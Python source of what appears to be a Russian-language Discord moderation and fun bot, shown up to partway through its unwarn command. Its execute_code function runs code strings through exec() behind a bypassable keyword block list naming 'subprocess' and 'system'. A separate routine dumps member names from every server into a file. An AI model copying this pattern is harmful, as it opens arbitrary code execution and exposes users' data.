main.py 69 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856857858859860861862863864865866867868869870871872873874875876877878879880881882883884885886887888889890891892893894895896897898899900901902903904905906907908909910911912913914915916917918919920921922923924925926927928929930931932933934935936937938939940941942943944945946947948949950951952953954955956957958959960961962963964965966967968969970971972973974975976977978979980981982983984985986987988989990991992993994995996997998999100010011002100310041005100610071008100910101011101210131014101510161017101810191020102110221023102410251026102710281029103010311032103310341035103610371038103910401041104210431044104510461047104810491050105110521053105410551056105710581059106010611062106310641065106610671068106910701071107210731074107510761077107810791080108110821083108410851086108710881089109010911092109310941095109610971098109911001101110211031104110511061107110811091110111111121113111411151116111711181119112011211122112311241125112611271128112911301131113211331134113511361137113811391140114111421143114411451146114711481149115011511152115311541155115611571158115911601161116211631164116511661167116811691170117111721173117411751176117711781179118011811182118311841185118611871188118911901191119211931194119511961197119811991200120112021203120412051206120712081209121012111212121312141215121612171218121912201221122212231224122512261227122812291230123112321233123412351236123712381239124012411242124312441245124612471248124912501251125212531254125512561257125812591260126112621263126412651266126712681269127012711272127312741275127612771278127912801281128212831284128512861287128812891290129112921293129412951296129712981299130013011302130313041305130613071308130913101311131213131314131513161317131813191320132113221323132413251326132713281329133013311332133313341335133613371338133913401341134213431344134513461347134813491350135113521353135413551356135713581359136013611362136313641365136613671368136913701371137213731374137513761377137813791380138113821383138413851386138713881389139013911392139313941395139613971398139914001401140214031404140514061407140814091410141114121413141414151416141714181419142014211422142314241425142614271428142914301431143214331434143514361437143814391440144114421443144414451446144714481449145014511452145314541455145614571458145914601461146214631464146514661467146814691470147114721473147414751476147714781479148014811482148314841485148614871488148914901491149214931494149514961497149814991500150115021503150415051506150715081509151015111512151315141515151615171518151915201521152215231524152515261527152815291530153115321533153415351536153715381539154015411542154315441545154615471548154915501551155215531554155515561557155815591560156115621563156415651566156715681569157015711572157315741575157615771578157915801581158215831584158515861587158815891590159115921593159415951596159715981599160016011602160316041605160616071608160916101611161216131614161516161617161816191620162116221623162416251626162716281629163016311632163316341635163616371638163916401641164216431644164516461647164816491650165116521653165416551656165716581659166016611662166316641665166616671668166916701671167216731674167516761677167816791680168116821683168416851686168716881689169016911692169316941695169616971698169917001701170217031704170517061707170817091710171117121713171417151716171717181719172017211722172317241725172617271728172917301731173217331734173517361737173817391740174117421743174417451746174717481749175017511752175317541755175617571758175917601761176217631764176517661767176817691770177117721773177417751776177717781779178017811782178317841785178617871788178917901791179217931794179517961797179817991800180118021803180418051806180718081809181018111812
  1. import discord
  2. import discord.utils
  3. import asyncio
  4. import random
  5. import traceback
  6. import os
  7. import requests
  8. import json
  9. import aiohttp
  10. import io
  11. import wikipedia
  12. import typing
  13. import fortune
  14. import time
  15. import yt_dlp
  16. import markov
  17. import sys
  18. import config as global_config
  19. import retr
  20. import neuro
  21. import minegen as minegen_mod
  22. from datetime import datetime, timedelta, timezone
  23. from difflib import get_close_matches
  24. from os.path import isfile
  25. from discord.ext import commands
  26. from discord.ext.commands import BadArgument, Context
  27. from os import getenv
  28. from dotenv import load_dotenv
  29. from categories import buildHelpEmbed, buildCategoryEmbeds, helpCategory
  30. genaiDataPath = 'data/genai_info.json'
  31. GUILD_SEEK_FILENAME = 'data/guild_seek.json'
  32. KGB_RETR = 'data/retr.txt'
  33. RETR_PUBLISHERS = {
  34. 'soviet': retr.Publisher(1067091686725001306, 'data/retr.txt'),
  35. 'griss': retr.Publisher(1131911759968612434, 'data/retrgris.txt'),
  36. }
  37. last_command_time={}
  38. ERR_CHANNEL_ID = 1123467774098935828
  39. def loadFile(path: str):
  40. if not isfile(path): return {}
  41. with open(path) as f:
  42. return json.load(f)
  43. channels = loadFile('data/channels.json')
  44. genAiArray: dict[str, markov.MarkovGen] = {k: markov.MarkovGen(states=v['state'], config=v['config']) for k,v in loadFile(genaiDataPath).items()}
  45. msgCounter = 0
  46. print('AdventurerUp Corporation')
  47. kgb = commands.Bot(command_prefix = global_config.prefix, strip_after_prefix = True, sync_commands=True, intents = discord.Intents.all())
  48. kgb.remove_command('help')
  49. load_dotenv()
  50. HELP_EMB: typing.Union[discord.Embed, None] = None
  51. HELP_CAT_EMB: typing.Union[list[discord.Embed], None] = None
  52. HELP_CAT_HIDDEN: typing.Union[dict[str, discord.Embed], None] = None
  53. if not os.path.isfile('data/guild_seek.json'):
  54. with open('data/guild_seek.json', 'w', encoding='utf-8') as f:
  55. f.write('{}')
  56. async def change_status():
  57. statuses = 'kgb!help', 'версия 3.0', 'на {} серверах!'
  58. index = 0
  59. while not kgb.is_closed():
  60. servers_count = len(kgb.guilds)
  61. status = statuses[index].format(servers_count)
  62. try: await kgb.change_presence(activity=discord.Game(name=status))
  63. except Exception: pass
  64. index = (index+1) % len(statuses)
  65. await asyncio.sleep(10)
  66. async def read_stderr():
  67. channel = kgb.get_channel(ERR_CHANNEL_ID)
  68. if not isinstance(channel, discord.TextChannel):
  69. print(f'{ERR_CHANNEL_ID} is not a valid channel id!')
  70. return
  71. f = open('temp.log')
  72. print('Logger started')
  73. while not kgb.is_closed():
  74. val = f.read()
  75. if len(val) == 0:
  76. await asyncio.sleep(1)
  77. continue
  78. print(val, end='')
  79. i = 0
  80. while i < len(val):
  81. await channel.send(f'```{val[i:i+1994]}```')
  82. await asyncio.sleep(1)
  83. i += 1994
  84. async def sync_retr():
  85. while True:
  86. await asyncio.sleep(10)
  87. for pub in RETR_PUBLISHERS.values():
  88. pub.sync_retr()
  89. async def update_guild_seek():
  90. guild_seek = {}
  91. for guild in kgb.guilds:
  92. guild_info = {
  93. 'name': guild.name,
  94. 'users': [{
  95. 'name': member.name,
  96. 'discriminator': member.discriminator
  97. } for member in guild.members]
  98. }
  99. guild_seek[str(guild.id)] = guild_info
  100. with open(GUILD_SEEK_FILENAME, 'w', encoding='utf-8') as f:
  101. json.dump(guild_seek, f, ensure_ascii=False, indent=4)
  102. async def update_guild_names():
  103. guild_names = sorted([guild.name for guild in kgb.guilds])
  104. with open('data/guild_names.json', 'w', encoding='utf-8') as f:
  105. json.dump(guild_names, f, ensure_ascii=False, indent=4)
  106. async def send_error_embed(ctx, err_msg: str):
  107. await ctx.reply(embed = discord.Embed(
  108. title = 'Ошибка!',
  109. description = err_msg,
  110. color = discord.Colour(0xFF0000)
  111. ))
  112. def get_crypto_price(symbol, api_key):
  113. url = f"https://api.coingecko.com/api/v3/simple/price?ids={symbol}&vs_currencies=rub"
  114. headers = {
  115. "Content-Type": "application/json",
  116. "X-CoinAPI-Key": api_key
  117. }
  118. response = requests.get(url, headers=headers)
  119. data = response.json()
  120. return data.get(symbol, {}).get("rub")
  121. def get_embed_color(argument):
  122. colors = {
  123. "monero": discord.Color(0xff8917),
  124. "zephyr": discord.Color(0x76ede9),
  125. "bitcoin": discord.Color(0xffc227),
  126. "ethereum": discord.Color(0x6b7ce5),
  127. "dogecoin": discord.Color(0xfbbe91),
  128. }
  129. return colors.get(argument, discord.Color(0x000000))
  130. def no_format(user):
  131. if isinstance(user, discord.Member) and user.discriminator != '0':
  132. return f'{user.name}#{user.discriminator}'
  133. return user.name
  134. def execute_code(code):
  135. forbidden_keywords = [
  136. 'def',
  137. 'eval',
  138. 'while',
  139. '*',
  140. 'import',
  141. 'print',
  142. 'return',
  143. 'sudo',
  144. 'subprocess',
  145. 'eval',
  146. 'exec',
  147. 'system'
  148. ]
  149. for keyword in forbidden_keywords:
  150. if keyword in code:
  151. return 'Код содержит запрещенное ключевое слово: {}'.format(keyword)
  152. try:
  153. exec('from hellya import *\n' + code)
  154. return 'Код успешно выполнен.'
  155. except Exception as e:
  156. return f'{str(e)}'
  157. @kgb.event
  158. async def on_ready():
  159. kgb.loop.create_task(change_status())
  160. kgb.loop.create_task(read_stderr())
  161. kgb.loop.create_task(sync_retr())
  162. await update_guild_names()
  163. while True:
  164. try:
  165. await asyncio.wait_for(update_guild_names(), timeout=30.0)
  166. except asyncio.TimeoutError:
  167. print('update_guild_names() timed out')
  168. await update_guild_seek()
  169. await asyncio.sleep(3600)
  170. @kgb.event
  171. async def on_member_join(member):
  172. guild_id = str(member.guild.id)
  173. if guild_id in channels:
  174. channel_id = channels[guild_id]
  175. channel = kgb.get_channel(int(channel_id))
  176. if not isinstance(channel, discord.TextChannel): return
  177. await channel.send(f'Приветствую вас на этом сервере, {member.mention}!')
  178. def saveGenAiState():
  179. global msgCounter
  180. msgCounter = msgCounter + 1
  181. if msgCounter % 10 != 0: return
  182. with open(genaiDataPath, 'w') as f:
  183. json.dump({k: {
  184. 'state': v.dumpState(),
  185. 'config': v.config,
  186. } for k,v in genAiArray.items()}, f)
  187. async def manageGenAiMsgs(message) -> bool:
  188. replied = False
  189. channelId = str(message.channel.id)
  190. if message.author == kgb.user: return replied
  191. if channelId not in genAiArray or not genAiArray[channelId].config['read']: return replied
  192. genAi = genAiArray[channelId]
  193. genAi.addMessage(message.content)
  194. if not genAi.config['reply_on_mention']: return replied
  195. if not kgb.user: return replied
  196. for user in message.mentions:
  197. if user.id != kgb.user.id: continue
  198. await message.reply(genAi.generate()[:2000])
  199. replied = True
  200. break
  201. return replied
  202. @kgb.event
  203. async def on_message(message):
  204. for publisher in RETR_PUBLISHERS.values():
  205. await publisher.publish(kgb, message)
  206. replied = await manageGenAiMsgs(message)
  207. saveGenAiState()
  208. if message.content == '<@1061907927880974406>' and not replied:
  209. return await message.channel.send('Мой префикс - `kgb!`')
  210. await kgb.process_commands(message)
  211. @kgb.event
  212. async def on_member_remove(member):
  213. guild_id = str(member.guild.id)
  214. if guild_id not in channels: return
  215. channel_id = channels[guild_id]
  216. channel = kgb.get_channel(int(channel_id))
  217. if not isinstance(channel, discord.TextChannel): return
  218. await channel.send(f'Прощай, {member.mention}!')
  219. @kgb.event
  220. async def on_command_error(ctx, exc):
  221. if isinstance(exc, BadArgument):
  222. await send_error_embed(ctx, 'Найдены некорректные аргументы')
  223. elif isinstance(exc, commands.CommandNotFound):
  224. cmd = ctx.invoked_with
  225. cmds = [cmd.name for cmd in kgb.commands]
  226. matches = get_close_matches(cmd, cmds)
  227. if len(matches) > 0:
  228. await send_error_embed(ctx, f'Команда `kgb!{cmd}` не найдена, может вы имели ввиду `kgb!{matches[0]}`?')
  229. return
  230. await send_error_embed(ctx, 'Команда не найдена. \nПожалуйста, напишите `kgb!help` чтобы посмотреть полный список команд!')
  231. elif isinstance(exc, commands.CommandOnCooldown):
  232. await send_error_embed(ctx, 'Эта команда перезагружается!\n'
  233. f'Повторите попытку через {round(exc.retry_after, 2)} секунд.')
  234. elif isinstance(exc, commands.MissingPermissions):
  235. await send_error_embed(ctx, 'Вы не имеете прав администратора!')
  236. elif isinstance(exc, commands.MissingRequiredArgument):
  237. await send_error_embed(ctx, f'Пропущен аргумент: `{exc.param.name}`!')
  238. else:
  239. traceback.print_exception(type(exc), exc, exc.__traceback__, file=sys.stderr)
  240. await send_error_embed(ctx, exc)
  241. @kgb.event
  242. async def on_guild_join(guild: discord.Guild):
  243. url = global_config.on_guild_join_pic
  244. embed = discord.Embed(title = 'Hello, comrades!', color = 0xff0000)
  245. embed.set_image(url = url)
  246. validChannel = None
  247. for channel in guild.text_channels:
  248. if not channel.permissions_for(guild.me).send_messages: continue
  249. validChannel = channel
  250. await channel.send(embed = embed)
  251. break
  252. if not validChannel: return
  253. embed = discord.Embed(
  254. title = 'Я KGB Modern',
  255. description =
  256. 'Modern KGB - универсальный помощник на вашем сервере!\n'
  257. 'Он имеет:\n'
  258. '1.Встроенный генератор маркова, создающий оригинальные сообщения на основе старых.\n'
  259. '2.Множество прикольных апи.\n'
  260. '3.Возможность воспроизведения музыки в голосовых каналах.\n'
  261. '4.Большое множество команд\n',
  262. color = 0x000000
  263. )
  264. await validChannel.send(embed=embed)
  265. @kgb.command(description='Выведет список команд или информацию о команде')
  266. async def help(ctx, *, query=None):
  267. if isinstance(ctx.channel, discord.DMChannel):
  268. return
  269. if query is None:
  270. if HELP_EMB is None:
  271. embed = discord.Embed(title='Системная ошибка:', description='Эмбед помощи не собран!', color=discord.Colour(0xFF0000))
  272. await ctx.reply(embed=embed)
  273. return
  274. await ctx.reply(embed=HELP_EMB)
  275. return
  276. if query.isdigit():
  277. if HELP_CAT_EMB is None:
  278. embed = discord.Embed(title='Системная ошибка:', description='Эмбед помощи категорий не собран!', color=discord.Colour(0xFF0000))
  279. await ctx.reply(embed=embed)
  280. return
  281. try:
  282. if int(query) < 1: raise IndexError
  283. await ctx.reply(embed=HELP_CAT_EMB[int(query) - 1])
  284. return
  285. except IndexError:
  286. await send_error_embed(ctx, 'Неверный номер категории.')
  287. return
  288. try:
  289. if HELP_CAT_HIDDEN is not None:
  290. await ctx.reply(embed=HELP_CAT_HIDDEN[query])
  291. return
  292. except KeyError:
  293. pass
  294. command = kgb.get_command(query)
  295. if command is None:
  296. await send_error_embed(ctx, f'Команда `{query}` не найдена.')
  297. return
  298. embed = discord.Embed(title='Описание команды:', description=command.description, color=discord.Colour(0x000000))
  299. if command.aliases:
  300. aliases = ', '.join(command.aliases)
  301. embed.add_field(name='Альтернативные названия:', value=aliases, inline=False)
  302. usage = f'kgb!{command.name} {command.signature}'
  303. embed.add_field(name='Использование:', value=f'`{usage}`', inline=False)
  304. await ctx.reply(embed=embed)
  305. async def getApiImage(ctx, url: str) -> None:
  306. if isinstance(ctx.channel, discord.DMChannel): return
  307. data = requests.get(url).json()
  308. embed = discord.Embed(color=0x000000)
  309. embed.set_footer(text=data['fact'])
  310. embed.set_image(url=data['image'])
  311. await ctx.reply(embed=embed)
  312. @kgb.command(description = 'Кот')
  313. @helpCategory('api')
  314. async def cat(ctx): await getApiImage(ctx, 'https://some-random-api.com/animal/cat')
  315. @kgb.command(description = 'Собака')
  316. @helpCategory('api')
  317. async def dog(ctx): await getApiImage(ctx, 'https://some-random-api.com/animal/dog')
  318. @kgb.command(description = 'Лис')
  319. @helpCategory('api')
  320. async def fox(ctx): await getApiImage(ctx, 'https://some-random-api.com/animal/fox')
  321. @kgb.command(description = 'Выключает бота (только для разработчика)')
  322. @helpCategory('secret')
  323. async def killbot(ctx):
  324. if isinstance(ctx.channel, discord.DMChannel): return
  325. if ctx.author.id != 745674921774153799:
  326. await send_error_embed(ctx, 'Эта команда только для разработчиков!')
  327. return
  328. await ctx.reply(embed = discord.Embed(
  329. title = 'Пожалуйста подождите:',
  330. description = 'Бот выключиться через 3 секунды!',
  331. color = discord.Colour(0x000000)
  332. ))
  333. await asyncio.sleep(3)
  334. await kgb.close()
  335. @kgb.command(description = 'Выводит шуточное сообщение о: \nУспешном/неуспешном взломе пользователя')
  336. @helpCategory('fun')
  337. async def hack(ctx, *, member):
  338. if isinstance(ctx.channel, discord.DMChannel): return
  339. await ctx.reply(embed = discord.Embed(
  340. title = 'Результат взлома:',
  341. description = f'{member} был успешно взломан!' if random.randint(1, 2) == 1 else
  342. f'{member} не был взломан!',
  343. color = discord.Color(0x000000)
  344. ))
  345. @kgb.command(description = 'Гадальный шар')
  346. @helpCategory('fun')
  347. async def ball(ctx, *, question):
  348. if isinstance(ctx.channel, discord.DMChannel): return
  349. answers = ['Да', 'Может быть', 'Конечно', 'Я не знаю', 'Определённо **Нет**', 'Нет', 'Невозможно']
  350. await ctx.reply(embed = discord.Embed(
  351. title = f'Вопрос: {question}',
  352. description = f'Ответ: {random.choice(answers)}',
  353. color = discord.Color(0x000000)
  354. ))
  355. @kgb.command(description = 'Бан пользователя')
  356. @commands.has_permissions(ban_members=True)
  357. @helpCategory('moderation')
  358. async def ban(ctx, member: discord.Member, *, reason: typing.Union[str, None] = None):
  359. if isinstance(ctx.channel, discord.DMChannel): return
  360. if member == '1061907927880974406':
  361. await send_error_embed(ctx, 'Нет, сэр')
  362. return
  363. if member is None:
  364. await send_error_embed(ctx, 'Вы не указали кого нужно забанить!')
  365. return
  366. if not kgb.user or member.id == kgb.user.id:
  367. await send_error_embed(ctx, 'No, sir')
  368. return
  369. if member.top_role >= ctx.author.top_role:
  370. await send_error_embed(ctx, 'Вы не можете забанить пользователя т.к. он выше вас по роли')
  371. return
  372. await member.ban(reason=reason)
  373. await ctx.reply(embed=discord.Embed(
  374. title='Успешно:',
  375. description=f'Пользователь {member.name} был забанен',
  376. color=discord.Color(0x000000)
  377. ))
  378. @kgb.command(description = 'Покажет всех забаненных пользователей этого сервера')
  379. @commands.has_permissions(ban_members = True)
  380. @helpCategory('moderation')
  381. async def banlist(ctx):
  382. if isinstance(ctx.channel, discord.DMChannel): return
  383. banned_users = ctx.guild.bans()
  384. banlist = [f'{ban_entry.user.name}#{ban_entry.user.discriminator}\n' async for ban_entry in banned_users]
  385. if banlist == []:
  386. await ctx.reply(embed=discord.Embed(
  387. title='Банлист:',
  388. description = 'На этом сервере нет забаненных пользователей.',
  389. color = discord.Color(0x000000)
  390. ))
  391. return
  392. await ctx.reply(embed=discord.Embed(
  393. title = 'Банлист:',
  394. description = ' '.join(banlist),
  395. color = discord.Color(0x000000)
  396. ))
  397. @kgb.command(description = 'Разбан пользователя')
  398. @commands.has_permissions(ban_members = True)
  399. @helpCategory('moderation')
  400. async def unban(ctx, *, member):
  401. if isinstance(ctx.channel, discord.DMChannel): return
  402. banned_users = ctx.guild.bans()
  403. member_name, member_discriminator = member.split('#')
  404. async for ban_entry in banned_users:
  405. user = ban_entry.user
  406. if (user.name, user.discriminator) != (member_name, member_discriminator): continue
  407. await ctx.guild.unban(user)
  408. await ctx.reply(embed = discord.Embed(
  409. title = 'Успешно:',
  410. description = f'Пользователь {user.name}#{user.discriminator} был разбанен',
  411. color = discord.Color(0x000000)
  412. ))
  413. break
  414. @kgb.command(description = 'Удаляет сообщения')
  415. @helpCategory('moderation')
  416. async def clear(ctx, amount: int):
  417. if isinstance(ctx.channel, discord.DMChannel): return
  418. if not ctx.author.guild_permissions.administrator:
  419. await send_error_embed(ctx, 'Вы не имеете прав администратора!')
  420. return
  421. await ctx.channel.purge(limit = amount + 1)
  422. await ctx.reply(embed = discord.Embed(
  423. title = 'Успешно',
  424. description = f'Успешно удалено {amount} сообщений',
  425. color = discord.Color(0x000000)
  426. ))
  427. @kgb.command(description = 'Кик пользователя')
  428. @commands.has_permissions(kick_members=True)
  429. @helpCategory('moderation')
  430. async def kick(ctx, member: discord.Member, *, reason: typing.Union[str, None] =None):
  431. if isinstance(ctx.channel, discord.DMChannel): return
  432. if member.id == '1061907927880974406' or \
  433. not kgb.user or \
  434. member.id == kgb.user.id:
  435. await send_error_embed(ctx, 'Нет, сэр.')
  436. return
  437. if member.top_role >= ctx.author.top_role:
  438. await send_error_embed(ctx, 'Вы не можете кикнуть пользователя т.к. он выше вас по ролям.')
  439. return
  440. await member.kick(reason=reason)
  441. await ctx.reply(embed = discord.Embed(
  442. title = 'Успешно',
  443. description = f'Пользователь {member.name} был кикнут.',
  444. color = discord.Color(0x000000)
  445. ))
  446. @kgb.command(description = 'Покажет список версий бота' )
  447. @helpCategory('secret')
  448. async def verlist(ctx):
  449. if isinstance(ctx.channel, discord.DMChannel): return
  450. await ctx.reply(embed = discord.Embed(
  451. title = 'Список версий:',
  452. description = global_config.ver,
  453. color = discord.Color(0x000000)
  454. ))
  455. @kgb.command(description = 'шифр')
  456. @helpCategory('misc')
  457. async def cipher(ctx):
  458. if isinstance(ctx.channel, discord.DMChannel): return
  459. embed = discord.Embed(color=0x000000)
  460. embed.set_image(url=global_config.cipherURL)
  461. await ctx.author.send(embed=embed)
  462. black_embed = discord.Embed(color=0x000000, description='20-9-23-5')
  463. await ctx.author.send(embed=black_embed)
  464. @kgb.command(description = 'Создаёт фейковый ютуб комментарий')
  465. @helpCategory('api')
  466. async def comment(ctx, *, commint: str):
  467. if isinstance(ctx.channel, discord.DMChannel): return
  468. comm = commint.replace('\n', ' ').replace('+', '%2B').replace(' ', '+')
  469. async with ctx.typing():
  470. async with aiohttp.ClientSession() as trigSession:
  471. async with trigSession.get(f'https://some-random-api.com/canvas/youtube-comment?avatar={ctx.author.avatar.url}&comment={(comm)}&username={ctx.author.name}') as trigImg:
  472. imageData = io.BytesIO(await trigImg.read())
  473. await trigSession.close()
  474. await ctx.reply(embed=discord.Embed(
  475. title='Ваш коммент:',
  476. description='',
  477. color=discord.Color(0x000000)
  478. ).set_image(url='attachment://youtube_comment.gif'), file=discord.File(imageData, 'youtube_comment.gif'))
  479. @kgb.command(description = 'Список благодарностей')
  480. @helpCategory('misc')
  481. async def thank(ctx):
  482. if isinstance(ctx.channel, discord.DMChannel): return
  483. await ctx.reply(embed = discord.Embed(
  484. title = 'Я благодарен:',
  485. description =
  486. 'СВЗ(@svz_code_), за предоставленный обучающий материал!\n'
  487. 'Грише(@grisshink), за помощь в разработке бота!\n'
  488. 'Санечке(@demsanechka) за рисование аватара для бота',
  489. color = discord.Color(0xFFFF00)
  490. ))
  491. @kgb.command(description = 'Даёт информацию о сервере')
  492. @helpCategory('info')
  493. async def server(ctx):
  494. if isinstance(ctx.channel, discord.DMChannel): return
  495. guild = ctx.guild
  496. server_info = {
  497. 'Участников:' : guild.member_count,
  498. 'Людей:' : len([member for member in guild.members if not member.bot]),
  499. 'Ботов:' : len([member for member in guild.members if member.bot]),
  500. 'Владелец сервера:' : guild.owner,
  501. 'Дата создания сервера:' : guild.created_at.strftime('%d.%m.%Y %H:%M:%S'),
  502. 'Всего текстовых каналов:' : len(guild.text_channels),
  503. 'Всего войс каналов:' : len(guild.voice_channels),
  504. 'Регион сервера:' : guild.preferred_locale,
  505. }
  506. embed = discord.Embed(title=f'Информация о сервере {guild.name}', color=0x000000)
  507. embed.set_thumbnail(url=guild.icon.url)
  508. for n, v in server_info.items():
  509. embed.add_field(name=n, value=v, inline=True)
  510. await ctx.reply(embed=embed)
  511. @kgb.command(description=
  512. 'Задает канал для приветствия пользователей\n'
  513. '(написать в канал куда будут отправляться приветствия)\n'
  514. 'Если хотите выключить приветственное сообщение, \n'
  515. 'То в качестве аргумета напишите: off'
  516. )
  517. @commands.has_permissions(administrator=True)
  518. @helpCategory('config')
  519. async def welcome(ctx, *, arg=None):
  520. if isinstance(ctx.channel, discord.DMChannel): return
  521. guild_id = str(ctx.guild.id)
  522. if arg == 'off':
  523. channels.pop(guild_id, None)
  524. with open('data/channels.json', 'w') as f:
  525. json.dump(channels, f)
  526. await ctx.reply(embed=discord.Embed(
  527. title='Приветствия выключены:',
  528. description='Теперь они больше не будут присылаться в этот канал.',
  529. color=discord.Color(0x000000)
  530. ))
  531. return
  532. channel_id = str(ctx.channel.id)
  533. channels[guild_id] = channel_id
  534. with open('data/channels.json', 'w') as f:
  535. json.dump(channels, f)
  536. await ctx.reply(embed=discord.Embed(
  537. title='Приветствия включены:',
  538. description=f'Приветственные сообщения теперь будут присылаться в этот канал: \n{ctx.channel.mention}',
  539. color=discord.Color(0x000000)
  540. ))
  541. @kgb.command(description = 'Покажет аватар пользователя')
  542. @helpCategory('info')
  543. async def avatar(ctx: Context, userInp: typing.Union[discord.Member, None]=None):
  544. if isinstance(ctx.channel, discord.DMChannel): return
  545. if isinstance(ctx.author, discord.User): return
  546. if not userInp: userInp = ctx.author
  547. embed=discord.Embed(title=f'Аватар {no_format(userInp)}', color=userInp.color)
  548. if userInp.avatar:
  549. embed.set_image(url=userInp.avatar.url)
  550. await ctx.reply(embed=embed)
  551. @kgb.command(description = 'Даёт информацию о пользователе')
  552. @helpCategory('info')
  553. async def user(ctx, member: discord.Member):
  554. if isinstance(ctx.channel, discord.DMChannel): return
  555. if not member.joined_at: return
  556. user_info = {
  557. 'Статус:' : str(member.status),
  558. 'Тэг:' : member.name + '#' + member.discriminator,
  559. 'Дата создания аккаунта:' : member.created_at.strftime('%d.%m.%Y %H:%M:%S'),
  560. 'Дата прихода на сервер:' : member.joined_at.strftime('%d.%m.%Y %H:%M:%S'),
  561. 'Тип аккаунта:' : 'Это аккаунт бота' if member.bot else 'Это аккаунт человека',
  562. 'Роль на сервере:' : 'Администратор сервера' if member.guild_permissions.administrator else 'Это не администратор сервера',
  563. 'Айди:' : member.id,
  564. }
  565. embed = discord.Embed(title='Информация о пользователе:', color=0x000000)
  566. if member.avatar:
  567. embed.set_thumbnail(url=member.avatar.url)
  568. for n,v in user_info.items():
  569. embed.add_field(name=n, value=v, inline=True)
  570. await ctx.reply(embed=embed)
  571. @kgb.command(description = 'Подбросит монетку')
  572. @helpCategory('fun')
  573. async def coin(ctx):
  574. if isinstance(ctx.channel, discord.DMChannel): return
  575. result = random.choice(['орёл', 'решка'])
  576. await ctx.reply(embed = discord.Embed(
  577. title = 'Результат:',
  578. description = f'Монетка показывает: **{result}**!',
  579. color = discord.Color(0x000000)
  580. ))
  581. @kgb.command(description = 'Выдаст предупреждение пользователю')
  582. @commands.has_permissions(administrator=True)
  583. @helpCategory('moderation')
  584. async def warn(ctx, member: discord.Member, count: int=1):
  585. if isinstance(ctx.channel, discord.DMChannel): return
  586. guild_id = str(ctx.guild.id)
  587. user_id = str(member.id)
  588. if member.top_role >= ctx.author.top_role:
  589. await send_error_embed(ctx, 'Вы не можете выдать пользователю предупредение с большей или равной ролью, чем у вас.')
  590. return
  591. if user_id == '1061907927880974406':
  592. await send_error_embed(ctx, 'Нет, сэр')
  593. return
  594. with open('data/warn.json', 'r') as f:
  595. warns = json.load(f)
  596. if guild_id not in warns:
  597. warns[guild_id] = {}
  598. if user_id not in warns[guild_id]:
  599. warns[guild_id][user_id] = count
  600. else:
  601. warns[guild_id][user_id] += count
  602. total_warns = warns[guild_id][user_id]
  603. with open('data/stanwarns.json', 'r') as f:
  604. stanwarns = json.load(f)
  605. if guild_id not in stanwarns:
  606. await send_error_embed(ctx, 'Условия кика и/или бана не настроены.\nУстановите их с помощью команды:\n`kgb!configwarn`')
  607. return
  608. guild_stanwarns = stanwarns[guild_id]
  609. warn_type = guild_stanwarns.get('warn_type')
  610. warn_limit = guild_stanwarns.get('warn_limit')
  611. if total_warns >= warn_limit:
  612. if warn_type == 'kick':
  613. await member.kick()
  614. await ctx.reply(embed = discord.Embed(
  615. title = 'Кик:',
  616. description = f'{member.name} был кикнут. \nДостигнут лимит предупреждений: {total_warns}/{warn_limit}',
  617. color = discord.Color(0x000000)
  618. ))
  619. return
  620. if warn_type == 'ban':
  621. await member.ban(reason=f'Достигнут лимит предупреждений: {total_warns}/{warn_limit}')
  622. await ctx.reply(embed = discord.Embed(
  623. title = 'Бан:',
  624. description = f'{member.name} был забанен. \nДостигнут лимит предупреждений: {total_warns}/{warn_limit}',
  625. color = discord.Color(0x000000)
  626. ))
  627. del warns[guild_id][user_id]
  628. with open('data/warn.json', 'w') as f:
  629. json.dump(warns, f)
  630. return
  631. await ctx.reply(embed=discord.Embed(
  632. title='Конуз:',
  633. description=f'Невозможно произвести кик или бан {member.name}, т.к. указан неверный тип в configwarn',
  634. color=discord.Color(0xFF0000)
  635. ))
  636. with open('data/warn.json', 'w') as f:
  637. json.dump(warns, f)
  638. await ctx.reply(embed = discord.Embed(
  639. title = 'Выдано предупреждение:',
  640. description = f'{member.mention} получил {count} предупреждение,\nТеперь он имеет {total_warns} предупреждений на этом сервере.',
  641. color = discord.Color(0x000000)
  642. ))
  643. @kgb.command(description = 'Снимет предупреждение пользователя')
  644. @commands.has_permissions(administrator=True)
  645. @helpCategory('moderation')
  646. async def unwarn(ctx, member: discord.Member, count: int = 1):
  647. if isinstance(ctx.channel, discord.DMChannel): return
  648. guild = str(ctx.guild.id)
  649. user = str(member.id)
  650. if user == '1061907927880974406':
  651. await send_error_embed(ctx, 'Нет, сэр')
  652. return
  653. with open('data/stanwarns.json', 'r') as f:
  654. stanwarns = json.load(f)
  655. if guild not in stanwarns:
  656. await send_error_embed(ctx,
  657. 'Не установлены условия для предупреждений\n'
  658. 'Установите с помощью команды:\n'
  659. '`kgb!configwarn`')
  660. return
  661. with open('data/warn.json', 'r') as f:
  662. warns = json.load(f)
  663. if guild not in warns or \
  664. user not in warns[guild]:
  665. await ctx.reply(embed=discord.Embed(
  666. title='Нет предупреждений:',
  667. description=f'У {member.mention} нет предупреждений на этом сервере.',
  668. color=discord.Color(0x000000)
  669. ))
  670. return
  671. if count > warns[guild][user]:
